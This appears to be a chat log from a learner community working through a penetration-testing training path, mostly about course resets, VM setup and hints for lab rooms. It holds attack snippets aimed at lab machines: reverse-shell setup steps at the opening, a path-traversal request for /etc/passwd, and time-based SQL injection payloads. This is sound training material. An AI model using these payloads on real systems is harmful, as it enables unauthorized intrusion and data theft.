1. Use the shell here https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php, create one locally and change the ip and port values

2. start http server locally with python -m http.server $PORT (different from port in step 1.)

3. start nc listener for the reverse shell, and try to access your shell from the site

[somber socket]

Hi, does anyone have a summary of the commands, organized by topic, for the entire learning path? I finished it but didn't take notes.

[late island]

Thanks will try this steps

[next lance]

Gave +1 Rep to @stiff oxide (current: #1834 - 3)

[plush marsh]

Hey everyone, I’m new here 👋
I just started the junior pentester path ,
Any advice on what I should focus on first?

[mint pilot]

what's industry best practice? I run a Mac, should my pen testing be done directly on my machine or should I run something like Kali in VM?

[slate panther]

I am learning networking & WiFi security, can someone guide beginner resources?

[elfin edge]

https://tryhackme.com/path/outline/presecurity

[stiff oxide]

Nah, you should try to complete it first. All the knowledge is necessary. Then you should practice with easy to medium challenges.

[bleak quarry]

I deleted my post, because I just realized that I didn't go through enough.. I found the real flags

[somber socket]

Hi, does anyone have a summary of the commands, organized by topic, for the entire learning path? I finished it but didn't take notes.
Notion, Obsidian, google docs, word, txt, etc

[meager spruce]

HI

[empty belfry]

anyone facing issues - were the machine ip address doesnt appear even after starting the attackbox in excercises ?

Also, as there are lot of tools being discussed, are we expected to remeber all of them for the certification examination ?

[empty belfry]

+1

[empty belfry]

i was considering creating a bootable kali linux

[empty belfry]

vm is ok generally ?

[hybrid quest]

Seems good

You dont care if something is broken

[empty belfry]

@hybrid quest yeah. may be try this link to make the bootable - https://www.youtube.com/watch?v=kMnKzBJ4ZHE

i will be doing this tomorrow and can update how did i go with it

[mint pilot]

I ended up using UTM on my Mac. Works well

[empty belfry]

@mint pilot i am using virtualbox but seems very slow ? would you reckon UTM is faster ?

anyone doing any projects to put on github while doing this course. ? any ideas ?

[barren matrix]

use qemu its faster than oracle virtual box

and smooth

[empty belfry]

@barren matrix thanks mate - are you working on any project as well while doing this course ?

[next lance]

Gave +1 Rep to @barren matrix (current: #3754 - 1)

[barren matrix]

Rn Nupe i usually checkout here if anyone stucked
So Im already working profesional

[whole belfry]

how to download qemu

[fringe bone]

i was at 57% 5 min ago

at least there's new content

[abstract dune]

i was at 96% lol, I won't have the pleasure of finishing this path 😭

i'm at 20% now

[fringe bone]

I was feeling bad that I was not doing too many modules this week

not anymore

The OWASP10 module is still missing A10

[abstract dune]

however, the beginner challenges module looks good

[abstract dune]

yes, it is on the path now

in the second room

[timber ice]

I was at 33% complete and I'm now 3% 🤔
There seems to be way more content in the pathway now...

[visual flint]

@gentle bridge Hi

[fringe bone]

way more content now

i think it was around 30 hours to complete it before

now it's 90

[lunar steppe]

The revamp is actually awesome

[lunar steppe]

😂😂 when they did same with presecurity it triggered me i didntwant to finish it again

[echo totem]

Is the old jr pentest certificate of completion erased then ?

For the people that habe already done it before

[lost vessel]

I have been following SEC1 but so confusing. like try many tools for just introduction. and now I jumped to jr.pentest better. anyone relate?

[echo totem]

i did jr pentest directly because the other one were just intro, and the intro is also present again in jr prentest so you are missing on nothing

[fringe bone]

still not there

who can we talk to about it?

[lunar steppe]

Owasp top shit

[true dove]

I was at 99% completion on the old track and just got reset to 0% with this new path. Feels bad.

Just had to finish up with windows privesc

[quartz fractal]

I think theres a error in the first room Guided Pentest: Web for Task 6 the flag you need to use this following command which does not work

If I start the attackbox nothing happens there but if I start the Target Machine both IPs get filled

[fringe bone]

yes that looks wrong

the first IP should be the target machine and the second ip the attacker machine

Accessing the webshell on the target machine and connecting to the attacker machine

[quartz fractal]

ye

thought i go stupid ^^

I can post it in bug report but thought as its new room raffle etc someone might wanna check it out right away lol

[twilit marlin]

Is anyone having an issue with the raffle tickets not being awarded after restarting labs that had already been done? Just want to check before logging a bug report if its a known issue

[merry night]

Hey everyone, we have made the Proxy challenge room private for the time being, so we can get it fixed properly. 🙏

[naive shore]

Hello in the Penetration Testing Framewokrs room on task 9 the last question is broken or not ??
I think i answer correct and i cannot submit it

:/

??

[elder leaf]

Look in the introduction section if you have not

[naive shore]

Oh thanks hahaha

[next lance]

Gave +1 Rep to @elder leaf (current: #1504 - 4)

[vapid mountain]

with the rooms that provide tickets but previously I already had them solved how can I get the tickers

[shadow echo]

Please check again, should be fixed 👍

[quartz fractal]

Yeah looks good now : )

[distant plinth]

i had previously completed jr pentester module but after revamp do i need to re-do it again?

[tame vigil]

Need to? Nope
Should you? Absolutely

[distant plinth]

thank you

[feral hornet]

~~hey, sorry if this sounds stupid ~~
im on task 6 of guided pentest: web (remote code execution), and im not quite sure how to create the web shell? any help/tips would be appreciated 👍

-# sorry if this is the wrong channel aswell

[feral hornet]

nevermind, seems i have figured it out

[obtuse stone]

Yeah, this question was annoying, I knew what the answer should be but be but because that section referred to the MASTG as the MSTG I just couldn't process it

[patent carbon]

Maybe I'm overlooking something - doing the passive reconnaissance room right now, section 5 "DNS Dumbster" - the question is to lookup tryhackme.com on dnsdumbster and name one additional subdomain next to www and blogthat sounds interesting and has 6 letters. However, the correct answer (||remote||) is not even listed for me on dnsdumbster. What was I doing wrong?

[swift folio]

Hi guys. I'm still quite new to all of this but I'm intrested in red teaming and pen testing as a friend I have inspired me into it.

Ive completed the pre security path and started the path after that while also doing some of the challenges

Thing is, because I have no idea what I'm actually doing, I keep watching walk throighs and following along to them while taking notes rather the completing them myself or at least trying to.

Dose anyone have a few modules they would recommend I jump to so I can start attempting some of these challenges myself so I dont have to copy a walk-through anymore?

[grim sleet]

fuck is this?

ofc its not supposed to be english

its framework names

wdym

[timid ingot]

Wrong

Answer

[grim sleet]

Why does it have 2 different wrong answer error

that doesn't make sense lmfao

\

[timid ingot]

Just give up

[grim sleet]

real lol

[patent carbon]

Which path are you doing right now, the cybersecurity 101one? Or do you mean that you're walkthroughs of CTFs?
I always read the explanations first and then play around with whatever tool is being introduced, just following up on the stuff that I didn't fully grasp or if other questions arise, googling it or asking LLMs
Working quite well with that for me

[swift folio]

Yea cyber security 101 is the one I'm working throigh now. But while I'm doing that I also try doing some of the easy challenges but with each challenge I'm in the spot where all I can do is run a nmap scan and then promptly find a walk throigh to follow 🤣🤣

[proud depot]

Peace be upon those who follow guidance.

[dim quiver]

What will happen with the ticketed rooms I had already completed before the event starting?

[steep gate]

Reset a room you have already completed and complete it again. See if you now get the ticket.

[copper turret]

Reset the room and complete it again. It worked with me

[dim quiver]

Thanks

[manic kiln]

hello i need hit to solve Support room i got the password of login page user: [e-mail] password:snoopy

what next i do

[timid ingot]

Log in with the credentials

[manic kiln]

I login it is give theme option when I choose colour it change interface colour

[coarse pebble]

change color think ||LFI||

[manic kiln]

Hello sir big fan I see your videos

[manic kiln]

Sir red, green, blue

This colour are available

[radiant bloom]

has someone a hint for LFI in support room, I try now Intruder with a list of LFI's but no luck so far, IDOR btw I already found and exploited

now I got something

was nothing arr.

RFI url encoded doesnt work

[coarse pebble]

just normal lfi like ||../api|| do no forget to check page source to see result

[radiant bloom]

http://support.thm/api.php?skin=../../../../../../../etc/passwd thats not working, neither config or config.php or url encoded

with curl or burp

[manic kiln]

Hello sir I got flag but not get second one please help me if anyone got

Because I have some lag issue in my pc

@radiant bloom , @coarse pebble

[radiant bloom]

I not have one flag because my LFI not working, I try bypadd but still not working

So someone could enlight me

[coarse pebble]

how you are doing lfi?

[radiant bloom]

http://support.thm/api.php?skin= with cookie Header over curl, and burp I tried as well, I tried bypass techniques

skin parse the php files green and includes it I guess

but only them every try to include others fail or better it happened nothing

[coarse pebble]

no need to burp, you can even use your browser, test /dashboard.php?skin=../api

do not share flag on discord, delete the message

[manic kiln]

Sir can you please share 2 one at personal

Chat

Also you can give me hint so I can find

🙏

[coarse pebble]

when you login as admin, check footer, new select drop down for data and time appear

[radiant bloom]

thx for the hint

[manic kiln]

Date and time will set

[radiant bloom]

found a password but it work not no admin or it loging...wtf

[radiant bloom]

I tried also id_rsa over LFI, passwd, db

only config but this password doesn't works

[manic kiln]

I am solve this I am trying 2 hours but not getting when I try hard my pc get freezed

[radiant bloom]

you mean your attack box

[glacial yew]

@coarse pebble hey, if I may ask,

I’m supposed to find a password inside a variable in a php file and use that to login yes? (It’s not working)

Thank you for your time

[next lance]

Gave +1 Rep to @coarse pebble (current: #75 - 150)

[manic kiln]

Sir not understand last part for 2 flag when I tried to send response payload it not giving me response @coarse pebble

[glacial yew]

@manic kiln Hey congrats on flag1, how did you login as admin?

[manic kiln]

@coarse pebble finally I complete room support by my self only thank you for video but I use curl method

[next lance]

Gave +1 Rep to @coarse pebble (current: #75 - 151)

[manic kiln]

I started 7 pm to 2:56 am completely this room now I am at metasploit: scanning and exploitation

[eternal widget]

I just did DNSDumpster task in the Passive Recon Room the answer is not a subdomain listed on the website. Had to completely guess the answer.

[raven laurel]

it doesn't work with me

[quartz fractal]

hmm? they fixed it. what you mean? ^^

[raven laurel]

hmmm, i will check now, it doesn't work with me in last hour 😕

[quartz fractal]

if you start both machines you should be able to copy paste command otherwise just check that first is target and 2nd IP is attackbox

[coarse pebble]

it seam these new rooms has password trick on them for what ever reason like on Operation Promotion room. rabbit holes every where. I really do not like that. in this case that password you find do not work, correct password is same format, think remove 1 character from it , you can guess which one

[empty belfry]

hey guys - i was 30% done with the course and i opened after a week and the entire course is reset to 0% -. it says - The Jr Pentester Path just got rebuilt. Complete rooms, earn tickets, and win a free PT1 cert.. have they made the course all together new ?

[glacial yew]

Yeah I agree with you on that, giving a password hint to define a pattern/mask is a thing, and giving wrong passwords is something else.

Got it yesterday thanks for the response.

[next lance]

Gave +1 Rep to @coarse pebble (current: #74 - 152)

[glacial yew]

Yes, the route for reworked and it is much better now, the new rooms are relevant at this time and very good.
Keep working on it, Good luck.

[oak scaffold]

any tips for me as i just started the jr pentest path. what do you guys actually do - take notes, repeat, do practice?

[twilit marlin]

Personally I take notes when I go through the room, use either my own knowledge or my notes to answer the questions, if I can’t use these to answer the questions I go back through and take more notes because I must’ve missed some key part in the paragraphs. If I’ve completed a topic like nmap for example I’ll look at rooms related to that in particular and try complete these using my notes and knowledge then if needed I will research more and add to the notes as I go through the rooms

[solemn furnace]

hey, the flag.txt in the directory enumeration intended ?? (in Guided Pentest: Web)

[manic kiln]

Guys I am doing LLM pentasting anyone compted please givee small Hit to complete i am stuck in Flag

[timid ingot]

Just give up

[abstract dune]

Hey everyone!
I'm working on the Time-Based Blind SQLi section of sqli room (task-9 challenge, level 4) and ran into something weird.
When I use a basic SLEEP payload it works fine and delays by 2 seconds:

?referrer=tryhackme.com' UNION SELECT SLEEP(2),1 ;--

But as soon as I add FROM information_schema.columns, it just loads forever (even without the where clause):

?referrer=tryhackme.com' UNION SELECT SLEEP(2),2 FROM information_schema.columns WHERE table_schema LIKE database() ;--

Could someone explain this to me? thanks

[abstract dune]

no, I restarted the machine and it worked 😅 thanks

[next lance]

Gave +1 Rep to @glacial yew (current: #2454 - 2)

[tardy badger]

I’m a penetration tester specializing in authorized offensive security testing. I focus on finding real weaknesses in networks and applications, then giving clear, actionable reports so you can fix them fast.

I’m thorough, confidential, and only work with explicit permission.

What can I help you with?

[radiant bloom]

The Blue Team Perspective -> splunk box give only a white screen can anybody help me?

[manic kiln]

guys i got error my terget macine is tern off agin and agin after some time

[radiant bloom]

got splunk over browser and could solve the problem

[merry night]

🥳

[paper garnet]

👏

[sterile trout]

Anyone able to point out what im missing with the last task of viewing the page source, I have followed the documentation and found the login page with default credentials, however it does not accept the flag

[old cargo]

Read the docs a bit better, you can do one more thing that has nothing to do with credentials. I hope this helps you out!

[orchid flume]

Aw, I don't want to have to redo rooms for tickets

[sterile trout]

Ahhh thanks ❤️ figured it out

[next lance]

Gave +1 Rep to @old cargo

[dusky crescent]

A ticket for premium, if you get 2 more you can redeem it

[vagrant charm]

oh cool, a new path

[modest arch]

I have almost all rooms completed from this path, mytickets! 😦

[swift star]

[unborn jewel]

half the path

[granite ore]

hey, i think one of the flags for "walking an application" isnt working

[modest arch]

oh im actually pepega af, you can reset if you did them already

[vagrant charm]

Which task are you on?

[granite ore]

framework flag

under viewing the page source

[sour basin]

Just starting this task myself🙂

[vagrant charm]

ah, there is a flag that will work, I'm assuming you found the one with the credentials?

[granite ore]

yes

[vagrant charm]

There is another

[granite ore]

oh

well should have mentioned that

[vagrant charm]

Yeah, I found it a bit odd as well

[hollow river]

Why do I keep getting connection closed by Foreign Host in Jr pentester path, Protocols and Servers, multiple tasks.

[past venture]

Anyone can help me with the Net Sec room last challenge with the IDS?

[kindred lantern]

What issue I having

[past venture]

Not an issue, just need a bit help with what should I scan specifically to get the flag?

[kindred lantern]

I was the same unless I entered command relatively quickly

Also anyone got the email for who to contact for some of the prizes

Scan the machine a quietly as you can. You can get it with just one flag on ur scan

[past venture]

will it show on the web?

[kindred lantern]

Just remember to reset before every scan. Like right before

Yeah the flag shows up on the website

[past venture]

gotcha

tnx

[vagrant charm]

Hey, on Authentication Bypass task 3 I have the .txt file and the terminal in the same directory, but it still says it cant find the file. Anyone know why this may be?

[wind token]

this has been a fun path so far 🙂

[ivory lava]

how long does the hydra for netsec challenge take?

[left flicker]

Working on the directory listing flag, would this be a wget command?

[kindred lantern]

agreed

[kindred lantern]

if its taking ages double chec kyour command it should spit it out in seconds if teh commands perfect

[ivory lava]

yeah gave the wrong port

[kindred lantern]

I done the same lol. Was raging at myself lol

[ivory lava]

i think all the good stuff is already claimed, me sad

[kindred lantern]

I'd kill for a pineapple

Lol

[ivory lava]

meh, all i want is a 3 month voucher

or a trowback voucher, stuff to keep me learning for free lol

[kindred lantern]

Iv got oscp voucher

Tho feeling the exam would slaughter me

[ivory lava]

damn, you got lucky

do you have a term until you have to take it

[kindred lantern]

Not got it yet emailed em tho

[ivory lava]

oh i see

you will do fine, just learn

and if you want to drop this pass me the voucher keke

[kindred lantern]

Check which scp command ur using. Make sure its victim to u

Haha

[modest arch]

im one away from eJPT / Pineapple / throwback

[ivory lava]

tbh i think everything is claimed already

😦

[modest arch]

😦

[acoustic basin]

https://tryhackme.com/room/tickets2 shows nothing claimed yet

[left flicker]

On the Developer Tools - Network, the flag isnt being accepted... I found ||THM{HEADER_FLAG}||

[undone mirage]

@left flicker
||just figured it out, click through the section headings on the right side of the screen||

[left flicker]

Thank you found it!

[next lance]

Gave +1 Rep to @undone mirage

[ivory lava]

they didnt update it, but pretty much everything is claimed

or im getting really unlucky with just freezes and 3$ swap for 4 rooms in a row

[modest arch]

☕

[kindred lantern]

any one help me with auth bypass task 3. iv got the wordlists bith in the same directory that im running fuff from and imnot getting any user or passwords being output

nodoubt me being a numpty

[unborn jewel]

keep getting pentester title and 1 day streak ....

😦

[hollow acorn]

Hey guys, I'm attempting to do the file inclusion challenges and I just cannot figure them out. I feel like I'm super close but just cannot put it together with the pieces I'm missing. Anyone complete it that can give me a hand, please?

[upbeat magnet]

I got the first two, but the 3rd is melting my brain. All i can say is use burpsuite for at least one of them, and no need to write stuff in a terminal/command-line

[hollow acorn]

On the second one, I got to the page where it says "This is a admin page. Now get the flag." But I have no idea what that means or where I go from there to grab the flag

[upbeat magnet]

||now play with the cookie a bit more and see what happens||

and gj

[hollow acorn]

There is more I have to do besides changing it from Guest to admin?

[upbeat magnet]

yep.

||keep the admin but see what happens if you add to it||

[hollow acorn]

I'm gonna pick it up again tomorrow. Thanks for the hints

[upbeat magnet]

if you ever figure out the third, you're a god

[modest arch]

hello can someone tell is it possible to become a cybersecurity specialist with doing bachelors

[tawny flame]

@ash check the cyber-and-careers channel.

[white relic]

WOAH, thats a lot of powers. better hope I dont find any SSNs

[drifting drum]

Anyone know what I'm doing wrong here?

[modest arch]

im doing it rn

if you wanna join a fast call

[vagrant hinge]

what's the difference between this path and the offensive pentesting path?

[drifting drum]

This is ment to be more introductory. Goinging super in depth on all the foundational topics

[elfin briar]

Walking An Application - Task 6: The last flag does not work (from the XHR)